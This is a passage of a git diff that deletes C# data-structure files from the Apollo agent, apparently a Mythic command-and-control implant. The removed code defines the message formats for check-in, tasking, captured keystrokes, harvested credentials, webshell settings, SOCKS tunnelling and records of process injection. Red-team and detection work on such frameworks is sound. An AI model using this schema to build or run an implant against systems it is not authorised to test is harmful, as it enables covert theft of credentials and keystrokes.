[DataMember(Name = "crypto_type")] - public string CryptoType; - [DataMember(Name = "enc_key")] - public string EncryptionKey; - [DataMember(Name = "dec_key")] - public string DecryptionKey; - } - - [DataContract] - public struct C2ProfileInstanceParameters - { - [DataMember(Name = "encrypted_exchange_check")] - public string EncryptedExchangeCheck; - [DataMember(Name = "pipename")] - public string PipeName; - [DataMember(Name = "port")] - public int Port; - [DataMember(Name = "AESPSK")] - public MythicEncryption AESPSK; - [DataMember(Name = "killdate")] - public string KillDate; - [DataMember(Name = "url")] - public string WebshellURL; - [DataMember(Name = "query_param")] - public string WebshellQueryParam; - [DataMember(Name = "cookie_name")] - public string WebshellCookieName; - [DataMember(Name = "cookie_value")] - public string WebshellCookieValue; - [DataMember(Name = "user_agent")] - public string WebshellUserAgent; - - } - - [DataContract] - public struct KeylogInformation : IMythicMessage - { - [DataMember(Name = "user")] - public string Username; - [DataMember(Name = "window_title")] - public string WindowTitle; - [DataMember(Name = "keystrokes")] - public string Keystrokes; - public MessageType GetTypeCode() - { - return MessageType.KeylogInformation; - } - } - - public class CredentialType - { - private CredentialType(string value) { Value = value; } - public string Value { get; private set; } - public override string ToString() { return Value; } - public static CredentialType Plaintext { get { return new CredentialType("plaintext"); } } - public static CredentialType Certificate { get { return new CredentialType("certificate"); } } - public static CredentialType Hash { get { return new CredentialType("hash"); } } - public static CredentialType Key { get { return new CredentialType("key"); } } - public static CredentialType Ticket { get { return new CredentialType("ticket"); } } - public static CredentialType Cookie { get { return new CredentialType("cookie"); } } - - public static bool operator ==(CredentialType a, CredentialType b) { return a.Value == b.Value; } - - public static bool operator !=(CredentialType a, CredentialType b) { return a.Value != b.Value; } - - public static bool operator ==(string a, CredentialType b) { return a == b.Value; } - - public static bool operator !=(string a, CredentialType b) { return a == b.Value; } - } - - [DataContract] - public struct Credential : IMythicMessage - { - public MessageType GetTypeCode() - { - return MessageType.Credential; - } - [DataMember(Name = "type")] - public string CredentialType; - [DataMember(Name = "realm")] - public string Realm; - [DataMember(Name = "credential")] - public string CredentialMaterial; - [DataMember(Name = "account")] - public string Account; - } - - [DataContract] - public struct RemovedFileInformation : IMythicMessage - { - public MessageType GetTypeCode() - { - return MessageType.RemovedFileInformation; - } - [DataMember(Name = "host")] - public string Host; - [DataMember(Name = "path")] - public string Path; - } - - [DataContract] - public struct FileInformation : IEquatable, IMythicMessage - { - public MessageType GetTypeCode() - { - return MessageType.FileInformation; - } - [DataMember(Name = "full_name")] - public string FullName; - [DataMember(Name = "name")] - public string Name; - [DataMember(Name = "directory")] - public string Directory; - [DataMember(Name = "creation_date")] - public Int64 CreationDate; - [DataMember(Name = "modify_time")] - public Int64 ModifyTime; - [DataMember(Name = "access_time")] - public Int64 AccessTime; - [DataMember(Name = "permissions")] - public ACE[] Permissions; // People need to set their own ACEs - [DataMember(Name = "extended_attributes")] - public string ExtendedAttributes; - [DataMember(Name = "size")] - public long Size; - [DataMember(Name = "owner")] - public string Owner; - [DataMember(Name = "group")] - public string Group; - [DataMember(Name = "hidden")] - public bool Hidden; - [DataMember(Name = "is_file")] - public bool IsFile; - - public FileInformation(FileInfo finfo, ACE[] perms = null) - { - DateTime unixEpoc = new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc); - FullName = Utils.PathUtils.StripPathOfHost(finfo.FullName); - Name = Utils.PathUtils.StripPathOfHost(finfo.Name); - Directory = Utils.PathUtils.StripPathOfHost(finfo.Directory.FullName); - CreationDate = (Int64)((TimeSpan)(finfo.CreationTimeUtc - unixEpoc)).TotalSeconds * 1000; - ModifyTime = (Int64)((TimeSpan)(finfo.LastWriteTimeUtc - unixEpoc)).TotalSeconds * 1000; - AccessTime = (Int64)((TimeSpan)(finfo.LastAccessTime - unixEpoc)).TotalSeconds * 1000; - Permissions = perms; - try - { - ExtendedAttributes = finfo.Attributes.ToString(); - } - catch (Exception ex) - { - ExtendedAttributes = ""; - } - - Size = finfo.Length; - IsFile = true; - try - { - Owner = File.GetAccessControl(finfo.FullName). - GetOwner(typeof(System.Security.Principal.NTAccount)).ToString(); - } - catch (Exception ex) - { - Owner = ""; - } - - Group = ""; - Hidden = ((finfo.Attributes & FileAttributes.Hidden) == FileAttributes.Hidden); - } - - public FileInformation(DirectoryInfo finfo, ACE[] perms = null) - { - DateTime unixEpoc = new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc); - FullName = Utils.PathUtils.StripPathOfHost(finfo.FullName); - Name = Utils.PathUtils.StripPathOfHost(finfo.Name); - Directory = finfo.Parent == null ? "" : Utils.PathUtils.StripPathOfHost(finfo.Parent.ToString()); - CreationDate = (Int64)((TimeSpan)(finfo.CreationTimeUtc - unixEpoc)).TotalSeconds * 1000; - ModifyTime = (Int64)((TimeSpan)(finfo.LastWriteTimeUtc - unixEpoc)).TotalSeconds * 1000; - AccessTime = (Int64)((TimeSpan)(finfo.LastAccessTime - unixEpoc)).TotalSeconds * 1000; - Permissions = perms; - try - { - ExtendedAttributes = finfo.Attributes.ToString(); - } - catch (Exception ex) - { - ExtendedAttributes = ""; - } - - Size = 0; - IsFile = false; - try - { - Owner = File.GetAccessControl(finfo.FullName). - GetOwner(typeof(System.Security.Principal.NTAccount)).ToString(); - - } - catch (Exception ex) - { - Owner = ""; - } - Group = ""; - Hidden = ((finfo.Attributes & FileAttributes.Hidden) == FileAttributes.Hidden); - } - - public override bool Equals(object obj) - { - return obj is FileInformation && this.Equals(obj); - } - - public bool Equals(FileInformation obj) - { - if (this.Permissions.Length != obj.Permissions.Length) - return false; - for (int i = 0; i < this.Permissions.Length; i++) - { - if (!this.Permissions[i].Equals(obj.Permissions[i])) - return false; - } - return this.FullName == obj.FullName && - this.Name == obj.Name && - this.Directory == obj.Directory && - this.CreationDate == obj.CreationDate && - this.ModifyTime == obj.ModifyTime && - this.AccessTime == obj.AccessTime && - this.ExtendedAttributes == obj.ExtendedAttributes && - this.Size == obj.Size && - this.Owner == obj.Owner && - this.Group == obj.Group && - this.Hidden == obj.Hidden && - this.IsFile == obj.IsFile; - } - } - - [DataContract] - public struct ACE : IMythicMessage, IEquatable - { - public bool Equals(ACE obj) - { - return this.Account == obj.Account && - this.Type == obj.Type && - this.Rights == obj.Rights && - this.IsInherited == obj.IsInherited; - } - - [DataMember(Name = "account")] - public string Account; - [DataMember(Name = "type")] - public string Type; - [DataMember(Name = "rights")] - public string Rights; - [DataMember(Name = "is_inherited")] - public bool IsInherited; - - public MessageType GetTypeCode() - { - return MessageType.FileBrowserACE; - } - } - - [DataContract] - public struct FileBrowser : IEquatable, IMythicMessage - { - public MessageType GetTypeCode() - { - return MessageType.FileBrowser; - } - [DataMember(Name = "host")] - public string Host; - [DataMember(Name = "is_file")] - public bool IsFile; - [DataMember(Name = "permissions")] - public ACE[] Permissions; - [DataMember(Name = "name")] - public string Name; - [DataMember(Name = "parent_path")] - public string ParentPath; - [DataMember(Name = "success")] - public bool Success; - [DataMember(Name = "creation_date")] - public Int64 CreationDate; - [DataMember(Name = "access_time")] - public Int64 AccessTime; - [DataMember(Name = "modify_time")] - public Int64 ModifyTime; - [DataMember(Name = "size")] - public long Size; - [DataMember(Name = "files")] - public FileInformation[] Files; - [DataMember(Name = "update_deleted")] - public bool UpdateDeleted; - - public FileBrowser(FileInformation finfo, bool success = true, FileInformation[] files = null) - { - if (finfo.FullName.StartsWith("\\")) - { - Host = finfo.FullName.Split('\\')[2]; - } - else - { - Host = Environment.GetEnvironmentVariable("COMPUTERNAME"); - } - IsFile = finfo.IsFile; - Name = finfo.Name; - ParentPath = finfo.Directory; - CreationDate = finfo.CreationDate; - AccessTime = finfo.AccessTime; - ModifyTime = finfo.ModifyTime; - Size = finfo.Size; - Permissions = finfo.Permissions; - Success = success; - Files = files; - } - - public FileBrowser(FileInfo finfo, bool success = true, FileInformation[] files = null) - { - FileInformation finfo2 = new FileInformation(finfo); - if (finfo2.FullName.StartsWith("\\")) - { - Host = finfo2.FullName.Split('\\')[2]; - } - else - { - Host = Environment.GetEnvironmentVariable("COMPUTERNAME"); - } - IsFile = finfo2.IsFile; - Name = finfo.Name; - ParentPath = finfo2.Directory; - CreationDate = finfo2.CreationDate; - AccessTime = finfo2.AccessTime; - ModifyTime = finfo2.ModifyTime; - Size = finfo2.Size; - Permissions = finfo2.Permissions; - Success = success; - Files = files; - } - - public override bool Equals(object obj) - { - return obj is FileBrowser && Equals((FileBrowser)obj); - } - - public bool Equals(FileBrowser obj) - { - for (int i = 0; i < this.Files.Length; i++) - { - if (!this.Files[i].Equals(obj.Files[i])) - { - return false; - } - } - for (int i = 0; i < this.Permissions.Length; i++) - { - if (!this.Permissions[i].Equals(obj.Permissions[i])) - return false; - } - return this.Host == obj.Host && - this.IsFile == obj.IsFile && - this.Name == obj.Name && - this.ParentPath == obj.ParentPath && - this.Success == obj.Success && - this.AccessTime == obj.AccessTime && - this.ModifyTime == obj.ModifyTime && - this.Size == obj.Size; - } - } - public enum EdgeDirection - { - SourceToDestination = 1, - DestinationToSource, - BiDirectional - } - - [DataContract] - public struct EdgeNode : IEquatable, IMythicMessage - { - public MessageType GetTypeCode() - { - return MessageType.EdgeNode; - } - [DataMember(Name = "source")] - public string Source; - [DataMember(Name = "destination")] - public string Destination; - [DataMember(Name = "direction")] - public EdgeDirection Direction; - [DataMember(Name = "metadata")] - public string MetaData; - [DataMember(Name = "action")] - public string Action; - [DataMember(Name = "c2_profile")] - public string C2Profile; - - - public override bool Equals(object obj) - { - return obj is EdgeNode && this.Equals(obj); - } - - public bool Equals(EdgeNode node) - { - return this.Source == node.Source && - this.Destination == node.Destination && - this.Direction == node.Direction && - this.MetaData == node.MetaData && - this.Action == node.Action && - this.C2Profile == node.C2Profile; - } - } - - [DataContract] - public struct SocksDatagram : IMythicMessage - { - public MessageType GetTypeCode() - { - return MessageType.SocksDatagram; - } - [DataMember(Name = "server_id")] - public int ServerID; - [DataMember(Name = "data")] - public string Data; - [DataMember(Name = "exit")] - public bool Exit; - [DataMember(Name = "port")] - public int Port; - } - - [DataContract] - public struct Artifact : IMythicMessage - { - public MessageType GetTypeCode() - { - return MessageType.Artifact; - } - [DataMember(Name = "base_artifact")] - public string BaseArtifact; - [DataMember(Name = "artifact")] - public string ArtifactDetails; - - public static Artifact FileOpen(string path) - { - return new Artifact - { - BaseArtifact = "FileOpen", - ArtifactDetails = path - }; - } - - public static Artifact FileWrite(string path, long bytesWritten) - { - return new Artifact - { - BaseArtifact = "FileWrite", - ArtifactDetails = $"Wrote {bytesWritten} bytes to {path}" - }; - } - - public static Artifact FileDelete(string path) - { - return new Artifact - { - BaseArtifact = "FileDelete", - ArtifactDetails = $"Deleted {path}" - }; - } - - public static Artifact FileCreate(string path) - { - return new Artifact - { - BaseArtifact = "FileCreate", - ArtifactDetails = $"Created {path}" - }; - } - - public static Artifact ProcessCreate(int pid, string application, string arguments = null) - { - return new Artifact - { - BaseArtifact = "ProcessCreate", - ArtifactDetails = string.IsNullOrEmpty(arguments) ? - $"Started {application} (PID: {pid})" : - $"Started {application} {arguments} (PID: {pid})" - }; - } - - public static Artifact ProcessOpen(int pid, string processName = null) - { - return new Artifact - { - BaseArtifact = "ProcessOpen", - ArtifactDetails = string.IsNullOrEmpty(processName) ? - $"Opened process with PID {pid}" : $"Opened process {processName} with PID {pid}" - }; - } - - public static Artifact ProcessInject(int pid, string method) - { - return new Artifact - { - BaseArtifact = "ProcessInject", - ArtifactDetails = $"Injected into PID {pid} using {method}" - }; - } - - public static Artifact ProcessKill(int pid) - { - return new Artifact - { - BaseArtifact = "ProcessKill", - ArtifactDetails = $"Killed PID {pid}" - }; - } - - public static Artifact NetworkConnection(string hostname, int port = -1) - { - return new Artifact - { - BaseArtifact = "NetworkConnection", - ArtifactDetails = port > -1 ? $"Connected to {hostname}:{port}" : $"Connected to {hostname}" - }; - } - - public static Artifact PlaintextLogon(string username, bool success = false) - { - return new Artifact - { - BaseArtifact = "Logon", - ArtifactDetails = success ? $"Successful logon (type 9) for {username}" : $"Unsuccessful logon (type 9) for {username}" - }; - } - - public static Artifact RegistryRead(string hive, string subkey) - { - return new Artifact - { - BaseArtifact = "RegistryRead", - ArtifactDetails = subkey.StartsWith("\\") ? $"{hive}:{subkey}" : $"{hive}:\\{subkey}" - }; - } - - public static Artifact RegistryWrite(string hive, string subkey, string name, object val) - { - return new Artifact - { - BaseArtifact = "RegistryWrite", - ArtifactDetails = subkey.StartsWith("\\") ? $"{hive}:{subkey} {name} {val}" : $"{hive}:\\{subkey} {name} {val}" - }; - } - - public static Artifact PrivilegeEscalation(string privilege) - { - return new Artifact - { - BaseArtifact = "PrivilegeEscalation", - ArtifactDetails = $"Escalated to {privilege}" - }; - } - - public static Artifact WindowsAPIInvoke(string api) - { - return new Artifact - { - BaseArtifact = "WindowsAPIInvoke", - ArtifactDetails = $"Invoked Windows API {api}" - }; - } - } - - public class StatusMessage - { - private StatusMessage(string value) { Value = value; } - public string Value { get; private set; } - public override string ToString() { return Value; } - public static StatusMessage Success { get { return new StatusMessage("success"); } } - public static StatusMessage Error { get { return new StatusMessage("error"); } } - public static StatusMessage Processing { get { return new StatusMessage("processing"); } } - public static StatusMessage Complete { get { return new StatusMessage("complete"); } } - - public static bool operator ==(StatusMessage a, StatusMessage b) { return a.ToString() == b.ToString(); } - - public static bool operator !=(StatusMessage a, StatusMessage b) { return a.ToString() != b.ToString(); } - - public static bool operator ==(string a, StatusMessage b) { return a == b.ToString(); } - - public static bool operator !=(string a, StatusMessage b) { return a == b.ToString(); } - } - - [DataContract] - public struct MythicTaskStatus : IMythicMessage, IChunkMessage - { - public MessageType GetTypeCode() - { - return MessageType.TaskStatus; - } - - public int GetChunkNumber() - { - return this.ChunkNumber; - } - - public int GetTotalChunks() - { - return this.TotalChunks; - } - - public int GetChunkSize() - { - return this.ChunkData.Length; - } - - [DataMember(Name = "task_id")] - public string TaskID; - [DataMember(Name = "status")] - public sStatusMessage StatusMessage; - [DataMember(Name = "error")] - public string Error; - [DataMember(Name = "total_chunks")] - public int TotalChunks; - [DataMember(Name = "chunk_num")] - public int ChunkNumber; - [DataMember(Name = "chunk_data")] - public string ChunkData; - [DataMember(Name = "file_id")] - public string FileID; - [DataMember(Name = "apollo_tracker_uuid")] - public string ApolloTrackerUUID; - } - - [DataContract] - public struct CommandInformation : IMythicMessage - { - [DataMember(Name = "action")] - public string Action; - [DataMember(Name = "cmd")] - public string Command; - - public MessageType GetTypeCode() - { - return MessageType.CommandInformation; - } - } - - [DataContract] - public struct MythicTaskResponse : IEquatable, IMythicMessage - { - public MessageType GetTypeCode() - { - return MessageType.TaskResponse; - } - [DataMember(Name = "user_output")] - public object? UserOutput; - [DataMember(Name = "completed")] - public bool? Completed; - [DataMember(Name = "task_id")] - public string TaskID; - [DataMember(Name = "status")] - public string? Status; - [DataMember(Name = "keylogs")] - public KeylogInformation[]? Keylogs; - [DataMember(Name = "edges")] - public EdgeNode[]? Edges; - [DataMember(Name = "file_browser")] - public FileBrowser? FileBrowser; - [DataMember(Name = "processes")] - public ProcessInformation[]? Processes; - [DataMember(Name = "upload")] - public UploadMessage? Upload; - [DataMember(Name = "download")] - public DownloadMessage? Download; - [DataMember(Name = "message_id")] - public string? MessageID; - [DataMember(Name = "credentials")] - public Credential[]? Credentials; - [DataMember(Name = "removed_files")] - public RemovedFileInformation[]? RemovedFiles; - [DataMember(Name = "artifacts")] - public Artifact[]? Artifacts; - [DataMember(Name = "commands")] - public CommandInformation[]? Commands; - [DataMember(Name = "process_response")] - public ProcessResponse? ProcessResponse; - [DataMember(Name = "apollo_tracker_uuid")] - public string? ApolloTrackerUUID; - [DataMember(Name = "callback")] - public CallbackUpdate? Callback; - [DataMember(Name = "custom_browser")] - public CustomBrowser? Browser; - - public override bool Equals(object obj) - { - return obj is TaskingMessage && this.Equals((MythicTaskResponse)obj); - } - - public bool Equals(MythicTaskResponse msg) - { - for (int i = 0; i < this.Edges.Length; i++) - { - if (!this.Edges[i].Equals(msg.Edges[i])) - return false; - } - for (int i = 0; i < this.Credentials.Length; i++) - { - if (!this.Credentials[i].Equals(msg.Credentials[i])) - return false; - } - for (int i = 0; i < this.RemovedFiles.Length; i++) - { - if (!this.RemovedFiles[i].Equals(msg.RemovedFiles[i])) - return false; - } - for (int i = 0; i < this.Artifacts.Length; i++) - { - if (!this.Artifacts[i].Equals(msg.Artifacts[i])) - return false; - } - return this.FileBrowser.Equals(msg.FileBrowser) && - this.UserOutput.Equals(msg.UserOutput) && - this.Completed == msg.Completed && - this.TaskID == msg.TaskID && - this.Status == msg.Status && - this.Upload.Equals(msg.Upload) && - this.MessageID == msg.MessageID; - - } - } - - [DataContract] - public struct MythicTask : IMythicMessage - { - public MessageType GetTypeCode() - { - return MessageType.Task; - } - [DataMember(Name = "command")] - public string Command; - [DataMember(Name = "parameters")] - public string Parameters; - [DataMember(Name = "timestamp")] - public float Timestamp; - [DataMember(Name = "id")] - public string ID; - } - - public class MessageAction - { - private MessageAction(string value) { Value = value; } - public string Value { get; private set; } - public override string ToString() { return Value; } - public static MessageAction GetTasking { get { return new MessageAction("get_tasking"); } } - public static MessageAction PostResponse { get { return new MessageAction("post_response"); } } - public static MessageAction CheckIn { get { return new MessageAction("checkin"); } } - public static MessageAction Upload { get { return new MessageAction("upload"); } } - public static MessageAction StagingRSA { get { return new MessageAction("staging_rsa"); } } - public static MessageAction StagingDH { get { return new MessageAction("staging_dh"); } } - - public static bool operator ==(MessageAction a, MessageAction b) { return a.ToString() == b.ToString(); } - - public static bool operator !=(MessageAction a, MessageAction b) { return a.ToString() != b.ToString(); } - - public static bool operator ==(string a, MessageAction b) { return a == b.ToString(); } - - public static bool operator !=(string a, MessageAction b) { return a == b.ToString(); } - } - - public enum IntegrityLevel - { - UnknownIntegrity = 0, - LowIntegrity, - MediumIntegrity, - HighIntegrity, - SystemIntegrity - } - - [DataContract] - public struct DelegateMessage : IMythicMessage - { - public MessageType GetTypeCode() - { - return MessageType.DelegateMessage; - } - [DataMember(Name = "uuid")] - public string UUID; - [DataMember(Name = "mythic_uuid")] - public string MythicUUID; - [DataMember(Name = "message")] - public string Message; - [DataMember(Name = "c2_profile")] - public string C2Profile; - } - - [DataContract] - public struct TaskingMessage : IEquatable, IMythicMessage - { - public MessageType GetTypeCode() - { - return MessageType.TaskingMessage; - } - [DataMember(Name = "action")] - public string Action; - [DataMember(Name = "tasking_size")] - public int TaskingSize; - [DataMember(Name = "delegates")] - public DelegateMessage[] Delegates; - [DataMember(Name = "responses")] - public MythicTaskResponse[] Responses; - [DataMember(Name = "socks")] - public SocksDatagram[] Socks; - [DataMember(Name = "rpfwd")] - public SocksDatagram[] Rpfwd; - [DataMember(Name = "edges")] - public EdgeNode[] Edges; - - public override bool Equals(object obj) - { - return obj is TaskingMessage && this.Equals(obj); - } - - public bool Equals(TaskingMessage obj) - { - if (this.Delegates.Length != obj.Delegates.Length) - return false; - if (this.Socks.Length != obj.Socks.Length) - return false; - if (this.Edges.Length != obj.Edges.Length) - return false; - for (int i = 0; i < this.Delegates.Length; i++) - { - var d1 = this.Delegates[i]; - var d2 = obj.Delegates[i]; - if (!d1.Equals(d2)) - return false; - } - for (int i = 0; i < this.Socks.Length; i++) - { - if (!this.Socks[i].Equals(obj.Socks[i])) - { - return false; - } - } - for (int i = 0; i < this.Rpfwd.Length; i++) - { - if (!this.Rpfwd[i].Equals(obj.Rpfwd[i])) - { - return false; - } - } - return this.Action == obj.Action && this.TaskingSize == obj.TaskingSize; - } - } - - [DataContract] - public struct EKEHandshakeMessage : IMythicMessage - { - public MessageType GetTypeCode() - { - return MessageType.EKEHandshakeMessage; - } - [DataMember(Name = "action")] - public string Action; - [DataMember(Name = "pub_key")] - public string PublicKey; - [DataMember(Name = "session_id")] - public string SessionID; - } - - - /* - * "action": "staging_rsa", - "uuid": "UUID", // new UUID for the next message - "session_key": Base64( RSAPub( new aes session key ) ), - "session_id": "same 20 char string back" - }) - */ - [DataContract] - public struct EKEHandshakeResponse : IMythicMessage - { - public MessageType GetTypeCode() - { - return MessageType.EKEHandshakeResponse; - } - [DataMember(Name = "action")] - public string Action; - [DataMember(Name = "uuid")] - public string UUID; - [DataMember(Name = "session_key")] - public string SessionKey; - [DataMember(Name = "session_id")] - public string SessionID; - } - - [DataContract] - public struct CheckinMessage : IMythicMessage - { - public MessageType GetTypeCode() - { - return MessageType.CheckinMessage; - } - [DataMember(Name = "action")] - public string Action; - [DataMember(Name = "os")] - public string OS; - [DataMember(Name = "user")] - public string User; - [DataMember(Name = "host")] - public string Host; - [DataMember(Name = "pid")] - public int PID; - [DataMember(Name = "process_name")] - public string ProcessName; - [DataMember(Name = "ips")] - public string[] IPs; - [DataMember(Name = "uuid")] - public string UUID; - [DataMember(Name = "architecture")] - public string Architecture; - [DataMember(Name = "domain")] - public string Domain; - [DataMember(Name = "integrity_level")] - public IntegrityLevel IntegrityLevel; - [DataMember(Name = "external_ip")] - public string ExternalIP; - [DataMember(Name = "encryption_key")] - public string EncryptionKey; - [DataMember(Name = "decryption_key")] - public string DecryptionKey; - [DataMember(Name = "pub_key")] - public string PublicKey; - [DataMember(Name = "session_id")] - public string SessionID; - [DataMember(Name = "cwd")] - public string Cwd; - } - - [DataContract] - public struct CallbackUpdate : IMythicMessage - { - public MessageType GetTypeCode() - { - return MessageType.CallbackUpdate; - } - [DataMember(Name = "cwd", EmitDefaultValue = false)] - public string? Cwd; - [DataMember(Name = "impersonation_context", EmitDefaultValue = false)] - public string? ImpersonationContext; - [DataMember(Name = "integrity_level", EmitDefaultValue = false)] - public int? IntegrityLevel; - } - - [DataContract] - public struct DownloadMessage : IEquatable, IMythicMessage - { - public MessageType GetTypeCode() - { - return MessageType.DownloadMessage; - } - [DataMember(Name = "total_chunks")] - public int? TotalChunks; - [DataMember(Name = "chunk_size")] - public int ChunkSize; - [DataMember(Name = "file_id")] - public string FileID; - [DataMember(Name = "chunk_num")] - public int ChunkNumber; - [DataMember(Name = "chunk_data")] - public string ChunkData; - [DataMember(Name = "full_path")] - public string FullPath; - [DataMember(Name = "host")] - public string Hostname; - [DataMember(Name = "task_id")] - public string TaskID; - [DataMember(Name = "is_screenshot")] - public bool IsScreenshot; - - public override bool Equals(object obj) - { - return obj is UploadMessage && this.Equals((UploadMessage)obj); - } - - public bool Equals(DownloadMessage obj) - { - return this.ChunkNumber == obj.ChunkNumber && - this.ChunkSize == obj.ChunkSize && - this.FileID == obj.FileID && - this.FullPath == obj.FullPath && - this.TaskID == obj.TaskID && - this.FullPath == obj.FullPath && - this.IsScreenshot == obj.IsScreenshot && - this.Hostname == obj.Hostname; - } - } - - [DataContract] - public struct UploadMessage : IEquatable, IChunkMessage, IMythicMessage - { - public MessageType GetTypeCode() - { - return MessageType.UploadMessage; - } - [DataMember(Name = "total_chunks")] - public int? TotalChunks; - [DataMember(Name = "chunk_size")] - public int ChunkSize; - [DataMember(Name = "file_id")] - public string FileID; - [DataMember(Name = "chunk_num")] - public int ChunkNumber; - [DataMember(Name = "chunk_data")] - public string ChunkData; - [DataMember(Name = "full_path")] - public string FullPath; - [DataMember(Name = "task_id")] - public string TaskID; - [DataMember(Name = "host")] - public string Host; - - public override bool Equals(object obj) - { - return obj is UploadMessage && this.Equals((UploadMessage)obj); - } - - public bool Equals(UploadMessage obj) - { - return this.ChunkNumber == obj.ChunkNumber && - this.ChunkSize == obj.ChunkSize && - this.FileID == obj.FileID && - this.FullPath == obj.FullPath && - this.TaskID == obj.TaskID; - } - - public int GetChunkNumber() - { - return this.ChunkNumber; - } - - public int GetTotalChunks() - { - return this.TotalChunks == null ? (int)this.TotalChunks : -1; - } - - public int GetChunkSize() - { - return this.ChunkSize; - } - } - - [DataContract] - public struct MessageResponse : IEquatable, IMythicMessage - { - public MessageType GetTypeCode() - { - return MessageType.MessageResponse; - } - [DataMember(Name = "action")] - public sMessageAction Action; - [DataMember(Name = "id")] - public string ID; - // add socks - [DataMember(Name = "uuid")] - public string UUID; - [DataMember(Name = "status")] - public sStatusMessage Status; - [DataMember(Name = "tasks")] - public MythicTask[] Tasks; - [DataMember(Name = "responses")] - public MythicTaskStatus[] Responses; - [DataMember(Name = "delegates")] - public DelegateMessage[] Delegates; - [DataMember(Name = "socks")] - public SocksDatagram[] SocksDatagrams; - [DataMember(Name = "rpfwd")] - public SocksDatagram[] RpfwdDatagrams; - [DataMember(Name = "session_key")] - public string SessionKey; - [DataMember(Name = "session_id")] - public string SessionID; - [DataMember(Name = "total_chunks")] - public int TotalChunks; - [DataMember(Name = "chunk_num")] - public int ChunkNumber; - [DataMember(Name = "chunk_data")] - public string ChunkData; - [DataMember(Name = "file_id")] - public string FileID; - [DataMember(Name = "task_id")] - public string TaskID; - - public override bool Equals(object obj) - { - return obj is MessageResponse && this.Equals((MessageResponse)obj); - } - - public bool Equals(MessageResponse obj) - { - if (this.Tasks.Length != obj.Tasks.Length) - return false; - if (this.Responses.Length != obj.Responses.Length) - return false; - if (this.Delegates.Length != obj.Delegates.Length) - return false; - - for (int i = 0; i < this.Tasks.Length; i++) - { - if (!this.Tasks[i].Equals(obj.Tasks[i])) - return false; - } - for (int i = 0; i < this.Responses.Length; i++) - { - if (!this.Responses[i].Equals(obj.Responses[i])) - return false; - } - for (int i = 0; i < this.Delegates.Length; i++) - { - if (!this.Delegates[i].Equals(obj.Delegates[i])) - { - return false; - } - } - return this.Action == obj.Action && - this.ID == obj.ID && - this.Status == obj.Status && - this.SessionID == obj.SessionID && - this.SessionKey == obj.SessionKey && - this.TotalChunks == obj.TotalChunks && - this.ChunkData == obj.ChunkData && - this.ChunkNumber == obj.ChunkNumber && - this.FileID == obj.FileID && - this.TaskID == obj.TaskID; - - } - } - public struct HostEndpoint - { - public Socks5AddressType AddrType; - public string FQDN; - public IPAddress Ip; - public int Port; - } - [DataContract] - public struct CustomBrowserEntryChild - { - [DataMember(Name = "name")] - public string Name; - [DataMember(Name = "can_have_children")] - public bool CanHaveChildren; - [DataMember(Name = "metadata", EmitDefaultValue = false)] - public Dictionary? Metadata; - } - [DataContract] - public struct CustomBrowserEntry - { - [DataMember(Name = "name")] - public string Name; - [DataMember(Name = "parent_path")] - public string ParentPath; - [DataMember(Name = "display_path")] - public string DispalyPath; - [DataMember(Name = "success", EmitDefaultValue = false)] - public bool? Success; - [DataMember(Name = "can_have_children")] - public bool CanHaveChildren; - [DataMember(Name = "metadata", EmitDefaultValue = false)] - public Dictionary? Metadata; - [DataMember(Name = "children", EmitDefaultValue = false)] - public List? Children; - } - [DataContract] - public struct CustomBrowser: IMythicMessage - { - public MessageType GetTypeCode() - { - return MessageType.CustomBrowser; - } - [DataMember(Name = "browser_name")] - public string BrowserName; - [DataMember(Name = "host")] - public string Host; - [DataMember(Name = "update_deleted")] - public bool UpdateDeleted; - [DataMember(Name = "set_as_user_output")] - public bool SetAsUserOutput; - [DataMember(Name = "entries")] - public List Entries; - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Structs/Win32.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Structs/Win32.cs deleted file mode 100644 index c1678a11..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Structs/Win32.cs +++ /dev/null @@ -1,88 +0,0 @@ -using Microsoft.Win32.SafeHandles; -using System; -using System.Runtime.InteropServices; -using static ApolloInterop.Enums.Win32; - -namespace ApolloInterop.Structs -{ - public static class Win32 - { - [StructLayout(LayoutKind.Sequential)] - public struct SidAndAttributes - { - public IntPtr Sid; - public uint Attributes; - } - - [StructLayout(LayoutKind.Sequential)] - public struct TokenMandatoryLevel - { - public SidAndAttributes Label; - } - - [StructLayout(LayoutKind.Sequential)] - public struct ProcessInformation - { - public IntPtr hProcess; - public IntPtr hThread; - public Int32 dwProcessId; - public Int32 dwThreadId; - } - - [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] - public struct StartupInfo - { - public Int32 cb; - public String lpReserved; - public String lpDesktop; - public String lpTitle; - public Int32 dwX; - public Int32 dwY; - public Int32 dwXSize; - public Int32 dwYSize; - public Int32 dwXCountChars; - public Int32 dwYCountChars; - public Int32 dwFillAttribute; - public STARTF dwFlags; - public Int16 wShowWindow; - public Int16 cbReserved2; - public IntPtr lpReserved2; - public SafeFileHandle hStdInput; - public SafeFileHandle hStdOutput; - public SafeFileHandle hStdError; - } - - [StructLayout(LayoutKind.Sequential)] - public class SecurityAttributes - { - public Int32 nLength; - public IntPtr lpSecurityDescriptor; - public bool bInheritHandle; - - public SecurityAttributes() - { - this.nLength = Marshal.SizeOf(this); - } - } - - // This also works with CharSet.Ansi as long as the calling function uses the same character set. - [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] - public struct StartupInfoEx - { - public StartupInfo StartupInfo; - public IntPtr lpAttributeList; - } - - [StructLayoutAttribute(LayoutKind.Sequential)] - public struct SecurityDescriptor - { - public byte revision; - public byte size; - public short control; - public IntPtr owner; - public IntPtr group; - public IntPtr sacl; - public IntPtr dacl; - } - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Types/Delegates.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Types/Delegates.cs deleted file mode 100644 index 08d9bba1..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Types/Delegates.cs +++ /dev/null @@ -1,10 +0,0 @@ -using ApolloInterop.Enums.ApolloEnums; - -namespace ApolloInterop.Types -{ - namespace Delegates - { - public delegate bool OnResponse(T message); - public delegate bool DispatchMessage(byte[] data, MessageType mt); - } -} diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Types/MythicTypes.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Types/MythicTypes.cs deleted file mode 100644 